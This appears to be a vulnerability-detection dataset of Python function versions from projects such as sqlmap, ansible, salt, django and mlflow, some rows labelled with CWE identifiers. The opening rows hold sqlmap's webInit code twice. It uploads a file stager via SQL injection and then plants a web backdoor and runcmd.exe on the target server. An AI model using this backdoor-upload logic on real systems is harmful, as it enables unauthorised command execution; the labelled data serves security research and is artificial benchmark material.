        backdoorName = ""tmpb%s.%s"" % (randomStr(lowercase=True), self.webApi)
        backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""backdoor.%s_"" % self.webApi))

        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""stager.%s_"" % self.webApi))
        success = False

        for directory in directories:
            if not directory:
                continue

            stagerName = ""tmpu%s.%s"" % (randomStr(lowercase=True), self.webApi)
            self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

            uploaded = False
            directory = ntToPosixSlashes(normalizePath(directory))

            if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
                directory = ""/%s"" % directory
            else:
                directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory

            if not directory.endswith('/'):
                directory += '/'

            # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
            infoMsg = ""trying to upload the file stager on '%s' "" % directory
            infoMsg += ""via LIMIT 'LINES TERMINATED BY' method""
            logger.info(infoMsg)
            self._webFileInject(stagerContent, stagerName, directory)

            for match in re.finditer('/', directory):
                self.webBaseUrl = ""%s://%s:%d%s/"" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
                debugMsg = ""trying to see if the file is accessible from '%s'"" % self.webStagerUrl
                logger.debug(debugMsg)

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                uplPage = uplPage or """"

                if ""sqlmap file uploader"" in uplPage:
                    uploaded = True
                    break

            # Fall-back to UNION queries file upload method
            if not uploaded:
                warnMsg = ""unable to upload the file stager ""
                warnMsg += ""on '%s'"" % directory
                singleTimeWarnMessage(warnMsg)

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    infoMsg = ""trying to upload the file stager on '%s' "" % directory
                    infoMsg += ""via UNION method""
                    logger.info(infoMsg)

                    stagerName = ""tmpu%s.%s"" % (randomStr(lowercase=True), self.webApi)
                    self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

                    handle, filename = mkstemp()
                    os.fdopen(handle).close()  # close low level handle (causing problems later)

                    with open(filename, ""w+"") as f:
                        _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""stager.%s_"" % self.webApi))
                        _ = _.replace(""WRITABLE_DIR"", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
                        f.write(_)

                    self.unionWriteFile(filename, self.webStagerFilePath, ""text"", forceCheck=True)

                    for match in re.finditer('/', directory):
                        self.webBaseUrl = ""%s://%s:%d%s/"" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                        self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)

                        debugMsg = ""trying to see if the file is accessible from '%s'"" % self.webStagerUrl
                        logger.debug(debugMsg)

                        uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                        uplPage = uplPage or """"

                        if ""sqlmap file uploader"" in uplPage:
                            uploaded = True
                            break

            if not uploaded:
                continue

            if ""<%"" in uplPage or ""<?"" in uplPage:
                warnMsg = ""file stager uploaded on '%s', "" % directory
                warnMsg += ""but not dynamically interpreted""
                logger.warn(warnMsg)
                continue

            elif self.webApi == WEB_API.ASPX:
                kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
                kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)

            infoMsg = ""the file stager has been successfully uploaded ""
            infoMsg += ""on '%s' - %s"" % (directory, self.webStagerUrl)
            logger.info(infoMsg)

            if self.webApi == WEB_API.ASP:
                match = re.search(r'input type=hidden name=scriptsdir value=""([^""]+)""', uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                _ = ""tmpe%s.exe"" % randomStr(lowercase=True)
                if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(""WRITABLE_DIR"", backdoorDirectory).replace(""RUNCMD_EXE"", _)):
                    self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
                    self.webBackdoorUrl = ""%s/Scripts/%s"" % (self.webBaseUrl, backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
                    warnMsg = ""backdoor has not been successfully uploaded ""
                    warnMsg += ""through the file stager possibly because ""
                    warnMsg += ""the user running the web server process ""
                    warnMsg += ""has not write privileges over the folder ""
                    warnMsg += ""where the user running the DBMS process ""
                    warnMsg += ""was able to upload the file stager or ""
                    warnMsg += ""because the DBMS and web server sit on ""
                    warnMsg += ""different servers""
                    logger.warn(warnMsg)

                    message = ""do you want to try the same method used ""
                    message += ""for the file stager? [Y/n] ""
                    getOutput = readInput(message, default=""Y"")

                    if getOutput in (""y"", ""Y""):
                        self._webFileInject(backdoorContent, backdoorName, directory)
                    else:
                        continue

                self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
                self.webDirectory = directory

            self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)

            testStr = ""command execution test""
            output = self.webBackdoorRunCmd(""echo %s"" % testStr)

            if output == ""0"":
                warnMsg = ""the backdoor has been uploaded but required privileges ""
                warnMsg += ""for running the system commands are missing""
                raise SqlmapNoneDataException(warnMsg)
            elif output and testStr in output:
                infoMsg = ""the backdoor has been successfully ""
            else:
                infoMsg = ""the backdoor has probably been successfully ""

            infoMsg += ""uploaded on '%s' - "" % self.webDirectory
            infoMsg += self.webBackdoorUrl
            logger.info(infoMsg)

            success = True

            break",,sqlmapproject/sqlmap,c5f3c0cc32e2894ac9f0bf1b2f493534c2ce2d99,"def webInit(self):
        """"""
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """"""

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        default = None
        choices = list(getPublicTypeMembers(WEB_API, True))

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP

        message = ""which web application language does the web server ""
        message += ""support?\n""

        for count in xrange(len(choices)):
            ext = choices[count]
            message += ""[%d] %s%s\n"" % (count + 1, ext.upper(), ("" (default)"" if default == ext else """"))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn(""invalid value, only digits are allowed"")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn(""invalid value, it must be between 1 and %d"" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        directories = list(arrayizeValue(getManualDirectories()))
        directories.extend(getAutoDirectories())
        directories = list(oset(directories))

        backdoorName = ""tmpb%s.%s"" % (randomStr(lowercase=True), self.webApi)
        backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""backdoor.%s_"" % self.webApi))

        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""stager.%s_"" % self.webApi))
        success = False

        for directory in directories:
            if not directory:
                continue

            stagerName = ""tmpu%s.%s"" % (randomStr(lowercase=True), self.webApi)
            self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

            uploaded = False
            directory = ntToPosixSlashes(normalizePath(directory))

            if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
                directory = ""/%s"" % directory
            else:
                directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory

            if not directory.endswith('/'):
                directory += '/'

            # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
            infoMsg = ""trying to upload the file stager on '%s' "" % directory
            infoMsg += ""via LIMIT 'LINES TERMINATED BY' method""
            logger.info(infoMsg)
            self._webFileInject(stagerContent, stagerName, directory)

            for match in re.finditer('/', directory):
                self.webBaseUrl = ""%s://%s:%d%s/"" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
                debugMsg = ""trying to see if the file is accessible from '%s'"" % self.webStagerUrl
                logger.debug(debugMsg)

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                uplPage = uplPage or """"

                if ""sqlmap file uploader"" in uplPage:
                    uploaded = True
                    break

            # Fall-back to UNION queries file upload method
            if not uploaded:
                warnMsg = ""unable to upload the file stager ""
                warnMsg += ""on '%s'"" % directory
                singleTimeWarnMessage(warnMsg)

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    infoMsg = ""trying to upload the file stager on '%s' "" % directory
                    infoMsg += ""via UNION method""
                    logger.info(infoMsg)

                    stagerName = ""tmpu%s.%s"" % (randomStr(lowercase=True), self.webApi)
                    self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

                    handle, filename = mkstemp()
                    os.fdopen(handle).close()  # close low level handle (causing problems later)

                    with open(filename, ""w+"") as f:
                        _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""stager.%s_"" % self.webApi))
                        _ = _.replace(""WRITABLE_DIR"", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
                        f.write(utf8encode(_))

                    self.unionWriteFile(filename, self.webStagerFilePath, ""text"", forceCheck=True)

                    for match in re.finditer('/', directory):
                        self.webBaseUrl = ""%s://%s:%d%s/"" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                        self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)

                        debugMsg = ""trying to see if the file is accessible from '%s'"" % self.webStagerUrl
                        logger.debug(debugMsg)

                        uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                        uplPage = uplPage or """"

                        if ""sqlmap file uploader"" in uplPage:
                            uploaded = True
                            break

            if not uploaded:
                continue

            if ""<%"" in uplPage or ""<?"" in uplPage:
                warnMsg = ""file stager uploaded on '%s', "" % directory
                warnMsg += ""but not dynamically interpreted""
                logger.warn(warnMsg)
                continue

            elif self.webApi == WEB_API.ASPX:
                kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
                kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)

            infoMsg = ""the file stager has been successfully uploaded ""
            infoMsg += ""on '%s' - %s"" % (directory, self.webStagerUrl)
            logger.info(infoMsg)

            if self.webApi == WEB_API.ASP:
                match = re.search(r'input type=hidden name=scriptsdir value=""([^""]+)""', uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                _ = ""tmpe%s.exe"" % randomStr(lowercase=True)
                if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(""WRITABLE_DIR"", backdoorDirectory).replace(""RUNCMD_EXE"", _)):
                    self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
                    self.webBackdoorUrl = ""%s/Scripts/%s"" % (self.webBaseUrl, backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
                    warnMsg = ""backdoor has not been successfully uploaded ""
                    warnMsg += ""through the file stager possibly because ""
                    warnMsg += ""the user running the web server process ""
                    warnMsg += ""has not write privileges over the folder ""
                    warnMsg += ""where the user running the DBMS process ""
                    warnMsg += ""was able to upload the file stager or ""
                    warnMsg += ""because the DBMS and web server sit on ""
                    warnMsg += ""different servers""
                    logger.warn(warnMsg)

                    message = ""do you want to try the same method used ""
                    message += ""for the file stager? [Y/n] ""
                    getOutput = readInput(message, default=""Y"")

                    if getOutput in (""y"", ""Y""):
                        self._webFileInject(backdoorContent, backdoorName, directory)
                    else:
                        continue

                self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
                self.webDirectory = directory

            self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)

            testStr = ""command execution test""
            output = self.webBackdoorRunCmd(""echo %s"" % testStr)

            if output == ""0"":
                warnMsg = ""the backdoor has been uploaded but required privileges ""
                warnMsg += ""for running the system commands are missing""
                raise SqlmapNoneDataException(warnMsg)
            elif output and testStr in output:
                infoMsg = ""the backdoor has been successfully ""
            else:
                infoMsg = ""the backdoor has probably been successfully ""

            infoMsg += ""uploaded on '%s' - "" % self.webDirectory
            infoMsg += self.webBackdoorUrl
            logger.info(infoMsg)

            success = True

            break"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_functional.py,0,"def test_requests_ssl_verify_disabled(self):
        '''Test for the `requests` library skipping verification.'''
        self.check_example('requests-ssl-verify-disabled.py', error=2)",UNKNOWN,PyCQA/bandit,359124bd30b1c45744a46bec8faec94ebcedb3e7,"def test_requests_ssl_verify_disabled(self):
        '''Test for the `requests` library skipping verification.'''
        self.check_example('requests-ssl-verify-disabled.py', error=2)"
,UNKNOWN,UNKNOWN,packaging/release.py,1,"def test_sdist() -> None:
    """"""Test the sdist.""""""
    version = get_ansible_version(mode=VersionMode.ALLOW_DEV_POST)
    sdist_file = get_sdist_path(version)

    with tempfile.TemporaryDirectory() as temp_dir_name:
        temp_dir = pathlib.Path(temp_dir_name)

        with contextlib.ExitStack() as stack:
            try:
                sdist = stack.enter_context(tarfile.open(sdist_file))
            except FileNotFoundError:
                raise ApplicationError(f""Missing sdist: {sdist_file.relative_to(CHECKOUT_DIR)}"") from None

            # deprecated: description='extractall fallback without filter' python_version='3.11'
            if hasattr(tarfile, 'data_filter'):
                sdist.extractall(temp_dir, filter='data')  # type: ignore[call-arg]
            else:
                sdist.extractall(temp_dir)

        pyc_glob = ""*.pyc*""
        pyc_files = sorted(path.relative_to(temp_dir) for path in temp_dir.rglob(pyc_glob))

        if pyc_files:
            raise ApplicationError(f""Found {len(pyc_files)} '{pyc_glob}' file(s): {', '.join(map(str, pyc_files))}"")

    test_built_artifact(sdist_file)",CWE-22,ansible/ansible,590e46c422cb2c26e931b0b1f304d4404ff32130,"def test_sdist() -> None:
    """"""Test the sdist.""""""
    version = get_ansible_version(mode=VersionMode.ALLOW_DEV_POST)
    sdist_file = get_sdist_path(version)

    with tempfile.TemporaryDirectory() as temp_dir_name:
        temp_dir = pathlib.Path(temp_dir_name)

        with contextlib.ExitStack() as stack:
            try:
                sdist = stack.enter_context(tarfile.open(sdist_file))
            except FileNotFoundError:
                raise ApplicationError(f""Missing sdist: {sdist_file.relative_to(CHECKOUT_DIR)}"") from None

            sdist.extractall(temp_dir)

        pyc_glob = ""*.pyc*""
        pyc_files = sorted(path.relative_to(temp_dir) for path in temp_dir.rglob(pyc_glob))

        if pyc_files:
            raise ApplicationError(f""Found {len(pyc_files)} '{pyc_glob}' file(s): {', '.join(map(str, pyc_files))}"")

    test_built_artifact(sdist_file)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/controller/checks.py,0,"def checkSuhosinPatch(injection):
    """"""
    Checks for existence of Suhosin-patch (and alike) protection mechanism(s)
    """"""

    if injection.place in (PLACE.GET, PLACE.URI):
        debugMsg = ""checking for parameter length ""
        debugMsg += ""constraining mechanisms""
        logger.debug(debugMsg)

        pushValue(kb.injection)

        kb.injection = injection
        randInt = randomInt()

        if not checkBooleanExpression(""%d=%s%d"" % (randInt, ' ' * SUHOSIN_MAX_VALUE_LENGTH, randInt)):
            warnMsg = ""parameter length constraining ""
            warnMsg += ""mechanism detected (e.g. Suhosin patch). ""
            warnMsg += ""Potential problems in enumeration phase can be expected""
            logger.warn(warnMsg)

        kb.injection = popValue()",,sqlmapproject/sqlmap,8d6125f067ce10df36184b47877f7ee5ade6c1ce,"def checkSuhosinPatch(injection):
    """"""
    Checks for existence of Suhosin-patch (and alike) protection mechanism(s)
    """"""

    if injection.place == PLACE.GET:
        debugMsg = ""checking for parameter length ""
        debugMsg += ""constraining mechanisms""
        logger.debug(debugMsg)

        pushValue(kb.injection)

        kb.injection = injection
        randInt = randomInt()

        if not checkBooleanExpression(""%d=%s%d"" % (randInt, ' ' * SUHOSIN_MAX_VALUE_LENGTH, randInt)):
            warnMsg = ""parameter length constraining ""
            warnMsg += ""mechanism detected (e.g. Suhosin patch). ""
            warnMsg += ""Potential problems in enumeration phase can be expected""
            logger.warn(warnMsg)

        kb.injection = popValue()"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/client/__init__.py,0,"def __init__(self,
                 c_path=os.path.join(syspaths.CONFIG_DIR, 'master'),
                 mopts=None, skip_perm_errors=False):
        if mopts:
            self.opts = mopts
        else:
            if os.path.isdir(c_path):
                log.warning(
                    '{0} expects a file path not a directory path({1}) to '
                    'it\'s \'c_path\' keyword argument'.format(
                        self.__class__.__name__, c_path
                    )
                )
            self.opts = salt.config.client_config(c_path)
        self.serial = salt.payload.Serial(self.opts)
        self.salt_user = salt.utils.get_specific_user()
        self.skip_perm_errors = skip_perm_errors
        self.key = self.__read_master_key()
        self.event = salt.utils.event.get_event(
                'master',
                self.opts['sock_dir'],
                self.opts['transport'],
                opts=self.opts,
                listen=not self.opts.get('__worker', False))
        self.utils = salt.loader.utils(self.opts)
        self.functions = salt.loader.minion_mods(self.opts, utils=self.utils)
        self.returners = salt.loader.returners(self.opts, self.functions)",,saltstack/salt,75d21cca2197f48dab5773475343dbb0ba1ee23c,"def __init__(self,
                 c_path=os.path.join(syspaths.CONFIG_DIR, 'master'),
                 mopts=None, skip_perm_errors=False):
        if mopts:
            self.opts = mopts
        else:
            if os.path.isdir(c_path):
                log.warning(
                    '{0} expects a file path not a directory path({1}) to '
                    'it\'s \'c_path\' keyword argument'.format(
                        self.__class__.__name__, c_path
                    )
                )
            self.opts = salt.config.client_config(c_path)
        self.serial = salt.payload.Serial(self.opts)
        self.salt_user = salt.utils.get_specific_user()
        self.skip_perm_errors = skip_perm_errors
        self.key = self.__read_master_key()
        self.event = salt.utils.event.get_event(
                'master',
                self.opts['sock_dir'],
                self.opts['transport'],
                opts=self.opts,
                listen=not self.opts.get('__worker', False))
        self.functions = salt.loader.minion_mods(self.opts)
        self.returners = salt.loader.returners(self.opts, self.functions)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/test_master.py,0,"def tearDownClass(cls):
        del cls.clear_funcs",,saltstack/salt,dcde50d4ee310aed77503b13225222d5e9427808,"def tearDownClass(cls):
        del cls.clear_funcs"
,UNKNOWN,UNKNOWN,lib/ansible/playbook/__init__.py,1,"def run(self):
        ''' run all patterns in the playbook '''
        plays = []
        matched_tags_all = set()
        unmatched_tags_all = set()

        # loop through all patterns and run them
        self.callbacks.on_start()
        for (play_ds, play_basedir) in zip(self.playbook, self.play_basedirs):
            play = Play(self, play_ds, play_basedir, vault_password=self.vault_password)
            assert play is not None

            matched_tags, unmatched_tags = play.compare_tags(self.only_tags)
            matched_tags_all = matched_tags_all | matched_tags
            unmatched_tags_all = unmatched_tags_all | unmatched_tags

            # Remove tasks we wish to skip
            matched_tags = matched_tags - set(self.skip_tags)

            # if we have matched_tags, the play must be run.
            # if the play contains no tasks, assume we just want to gather facts
            # in this case there are actually 3 meta tasks (handler flushes) not 0
            # tasks, so that's why there's a check against 3
            if (len(matched_tags) > 0 or len(play.tasks()) == 3):
                plays.append(play)

        # if the playbook is invoked with --tags or --skip-tags that don't
        # exist at all in the playbooks then we need to raise an error so that
        # the user can correct the arguments.
        unknown_tags = ((set(self.only_tags) | set(self.skip_tags)) -
                        (matched_tags_all | unmatched_tags_all))
        unknown_tags.discard('all')

        if len(unknown_tags) > 0:
            unmatched_tags_all.discard('all')
            msg = 'tag(s) not found in playbook: %s.  possible values: %s'
            unknown = ','.join(sorted(unknown_tags))
            unmatched = ','.join(sorted(unmatched_tags_all))
            raise errors.AnsibleError(msg % (unknown, unmatched))

        for play in plays:
            ansible.callbacks.set_play(self.callbacks, play)
            ansible.callbacks.set_play(self.runner_callbacks, play)
            if not self._run_play(play):
                break
            ansible.callbacks.set_play(self.callbacks, None)
            ansible.callbacks.set_play(self.runner_callbacks, None)

        # summarize the results
        results = {}
        for host in self.stats.processed.keys():
            results[host] = self.stats.summarize(host)
        return results",CWE-703,ansible/ansible,b6056044b741967dd2f688b5618e6276e5bbaee5,"def run(self):
        ''' run all patterns in the playbook '''
        plays = []
        matched_tags_all = set()
        unmatched_tags_all = set()
        included_roles = []

        # loop through all patterns and run them
        self.callbacks.on_start()
        for (play_ds, play_basedir) in zip(self.playbook, self.play_basedirs):
            play = Play(self, play_ds, play_basedir, included_roles=included_roles, vault_password=self.vault_password)
            assert play is not None

            # add any new roles brought in by this play to the 
            # global list of roles we're tracking
            for role in play.included_roles:
                if role not in included_roles:
                    included_roles.append(role)

            matched_tags, unmatched_tags = play.compare_tags(self.only_tags)
            matched_tags_all = matched_tags_all | matched_tags
            unmatched_tags_all = unmatched_tags_all | unmatched_tags

            # Remove tasks we wish to skip
            matched_tags = matched_tags - set(self.skip_tags)

            # if we have matched_tags, the play must be run.
            # if the play contains no tasks, assume we just want to gather facts
            # in this case there are actually 3 meta tasks (handler flushes) not 0
            # tasks, so that's why there's a check against 3
            if (len(matched_tags) > 0 or len(play.tasks()) == 3):
                plays.append(play)

        # if the playbook is invoked with --tags or --skip-tags that don't
        # exist at all in the playbooks then we need to raise an error so that
        # the user can correct the arguments.
        unknown_tags = ((set(self.only_tags) | set(self.skip_tags)) -
                        (matched_tags_all | unmatched_tags_all))
        unknown_tags.discard('all')

        if len(unknown_tags) > 0:
            unmatched_tags_all.discard('all')
            msg = 'tag(s) not found in playbook: %s.  possible values: %s'
            unknown = ','.join(sorted(unknown_tags))
            unmatched = ','.join(sorted(unmatched_tags_all))
            raise errors.AnsibleError(msg % (unknown, unmatched))

        for play in plays:
            ansible.callbacks.set_play(self.callbacks, play)
            ansible.callbacks.set_play(self.runner_callbacks, play)
            if not self._run_play(play):
                break
            ansible.callbacks.set_play(self.callbacks, None)
            ansible.callbacks.set_play(self.runner_callbacks, None)

        # summarize the results
        results = {}
        for host in self.stats.processed.keys():
            results[host] = self.stats.summarize(host)
        return results"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/langchain/__init__.py,0,"def autolog(
    log_input_examples=False,
    log_model_signatures=False,
    log_models=False,
    log_datasets=False,
    log_inputs_outputs=True,
    disable=False,
    exclusive=False,
    disable_for_unsupported_versions=True,
    silent=False,
    registered_model_name=None,
    extra_tags=None,
):  # pylint: disable=unused-argument
    """"""
    Enables (or disables) and configures autologging from Langchain to MLflow.

    :param log_input_examples: If ``True``, input examples from inference data are collected and
                               logged along with Langchain model artifacts during inference. If
                               ``False``, input examples are not logged.
                               Note: Input examples are MLflow model attributes
                               and are only collected if ``log_models`` is also ``True``.
    :param log_model_signatures: If ``True``,
                                 :py:class:`ModelSignatures <mlflow.models.ModelSignature>`
                                 describing model inputs and outputs are collected and logged along
                                 with Langchain model artifacts during inference. If ``False``,
                                 signatures are not logged.
                                 Note: Model signatures are MLflow model attributes
                                 and are only collected if ``log_models`` is also ``True``.
    :param log_models: If ``True``, langchain models are logged as MLflow model artifacts.
                       If ``False``, langchain models are not logged.
                       Input examples and model signatures, which are attributes of MLflow models,
                       are also omitted when ``log_models`` is ``False``.
    :param log_datasets: If ``True``, dataset information is logged to MLflow Tracking
                         if applicable. If ``False``, dataset information is not logged.
    :param log_inputs_outputs: If ``True``, inference data and results are combined into a single
                                  pandas DataFrame and logged to MLflow Tracking as an artifact.
                                  If ``False``, inference data and results are not logged.
                                  Default to ``True``.
    :param disable: If ``True``, disables the Langchain autologging integration. If ``False``,
                    enables the Langchain autologging integration.
    :param exclusive: If ``True``, autologged content is not logged to user-created fluent runs.
                      If ``False``, autologged content is logged to the active fluent run,
                      which may be user-created.
    :param disable_for_unsupported_versions: If ``True``, disable autologging for versions of
                      langchain that have not been tested against this version of the MLflow
                      client or are incompatible.
    :param silent: If ``True``, suppress all event logs and warnings from MLflow during Langchain
                   autologging. If ``False``, show all events and warnings during Langchain
                   autologging.
    :param registered_model_name: If given, each time a model is trained, it is registered as a
                                  new model version of the registered model with this name.
                                  The registered model is created if it does not already exist.
    :param extra_tags: A dictionary of extra tags to set on each managed run created by autologging.
    """"""

    with contextlib.suppress(ImportError):
        from langchain.agents.agent import AgentExecutor
        from langchain.chains.base import Chain
        from langchain.schema import BaseRetriever

        classes = lc_runnables_types() + (AgentExecutor, Chain)
        for cls in classes:
            # If runnable also contains loader_fn and persist_dir, warn
            # BaseRetrievalQA, BaseRetriever, ...
            safe_patch(FLAVOR_NAME, cls, ""invoke"", functools.partial(patched_inference, ""invoke""))

        for cls in [AgentExecutor, Chain]:
            safe_patch(
                FLAVOR_NAME, cls, ""__call__"", functools.partial(patched_inference, ""__call__"")
            )

        safe_patch(
            FLAVOR_NAME,
            BaseRetriever,
            ""get_relevant_documents"",
            functools.partial(patched_inference, ""get_relevant_documents""),
        )",,mlflow/mlflow,1c7841ea0b21f39cd1f18306767443d6d315a98f,"def autolog(
    log_input_examples=False,
    log_model_signatures=False,
    log_models=False,
    log_datasets=False,
    log_inputs_outputs=True,
    disable=False,
    exclusive=False,
    disable_for_unsupported_versions=True,
    silent=False,
    registered_model_name=None,
    extra_tags=None,
):  # pylint: disable=unused-argument
    """"""
    Enables (or disables) and configures autologging from Langchain to MLflow.

    :param log_input_examples: If ``True``, input examples from inference data are collected and
                               logged along with Langchain model artifacts during inference. If
                               ``False``, input examples are not logged.
                               Note: Input examples are MLflow model attributes
                               and are only collected if ``log_models`` is also ``True``.
    :param log_model_signatures: If ``True``,
                                 :py:class:`ModelSignatures <mlflow.models.ModelSignature>`
                                 describing model inputs and outputs are collected and logged along
                                 with Langchain model artifacts during inference. If ``False``,
                                 signatures are not logged.
                                 Note: Model signatures are MLflow model attributes
                                 and are only collected if ``log_models`` is also ``True``.
    :param log_models: If ``True``, langchain models are logged as MLflow model artifacts.
                       If ``False``, langchain models are not logged.
                       Input examples and model signatures, which are attributes of MLflow models,
                       are also omitted when ``log_models`` is ``False``.
    :param log_datasets: If ``True``, dataset information is logged to MLflow Tracking
                         if applicable. If ``False``, dataset information is not logged.
    :param log_inputs_outputs: If ``True``, inference data and results are combined into a single
                                  pandas DataFrame and logged to MLflow Tracking as an artifact.
                                  If ``False``, inference data and results are not logged.
                                  Default to ``True``.
    :param disable: If ``True``, disables the Langchain autologging integration. If ``False``,
                    enables the Langchain autologging integration.
    :param exclusive: If ``True``, autologged content is not logged to user-created fluent runs.
                      If ``False``, autologged content is logged to the active fluent run,
                      which may be user-created.
    :param disable_for_unsupported_versions: If ``True``, disable autologging for versions of
                      langchain that have not been tested against this version of the MLflow
                      client or are incompatible.
    :param silent: If ``True``, suppress all event logs and warnings from MLflow during Langchain
                   autologging. If ``False``, show all events and warnings during Langchain
                   autologging.
    :param registered_model_name: If given, each time a model is trained, it is registered as a
                                  new model version of the registered model with this name.
                                  The registered model is created if it does not already exist.
    :param extra_tags: A dictionary of extra tags to set on each managed run created by autologging.
    """"""

    with contextlib.suppress(ImportError):
        from langchain.agents.agent import AgentExecutor
        from langchain.chains.base import Chain
        from langchain.schema import BaseRetriever

        classes = lc_runnables_types() + (AgentExecutor, Chain)
        for cls in classes:
            # IF runnable also contains loader_fn and persist_dir, warn
            # BaseRetrievalQA, BaseREtriever, ...
            safe_patch(FLAVOR_NAME, cls, ""invoke"", functools.partial(patched_inference, ""invoke""))

        for cls in [AgentExecutor, Chain]:
            safe_patch(
                FLAVOR_NAME, cls, ""__call__"", functools.partial(patched_inference, ""__call__"")
            )

        safe_patch(
            FLAVOR_NAME,
            BaseRetriever,
            ""get_relevant_documents"",
            functools.partial(patched_inference, ""get_relevant_documents""),
        )"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/http/__init__.py,0,"def get_signed_cookie(self, key, default=RAISE_ERROR, salt='', max_age=None):
        """"""
        Attempts to return a signed cookie. If the signature fails or the
        cookie has expired, raises an exception... unless you provide the
        default argument in which case that value will be returned instead.
        """"""
        try:
            cookie_value = self.COOKIES[key]
        except KeyError:
            if default is not RAISE_ERROR:
                return default
            else:
                raise
        try:
            value = signing.get_cookie_signer(salt=key + salt).unsign(
                cookie_value, max_age=max_age)
        except signing.BadSignature:
            if default is not RAISE_ERROR:
                return default
            else:
                raise
        return value",CWE-Unknown,django/django,363dbd920e9b77da83895598f0fc9f7f835df65d,"def get_signed_cookie(self, key, default=RAISE_ERROR, salt='', max_age=None):
        """"""
        Attempts to return a signed cookie. If the signature fails or the
        cookie has expired, raises an exception... unless you provide the
        default argument in which case that value will be returned instead.
        """"""
        try:
            cookie_value = self.COOKIES[key].encode('utf-8')
        except KeyError:
            if default is not RAISE_ERROR:
                return default
            else:
                raise
        try:
            value = signing.get_cookie_signer(salt=key + salt).unsign(
                cookie_value, max_age=max_age)
        except signing.BadSignature:
            if default is not RAISE_ERROR:
                return default
            else:
                raise
        return value"
,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/package.py,1,"def run(self, tmp=None, task_vars=None):
        ''' handler for package operations '''
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        module = self._task.args.get('use', 'auto')

        if module == 'auto':
            try:
                if self._task.delegate_to: # if we delegate, we should use delegated host's facts
                    module = self._templar.template(""{{hostvars['%s']['ansible_pkg_mgr']}}"" % self._task.delegate_to)
                else:
                    module = self._templar.template('{{ansible_pkg_mgr}}')
            except:
                pass # could not get it from template!

        if module == 'auto':
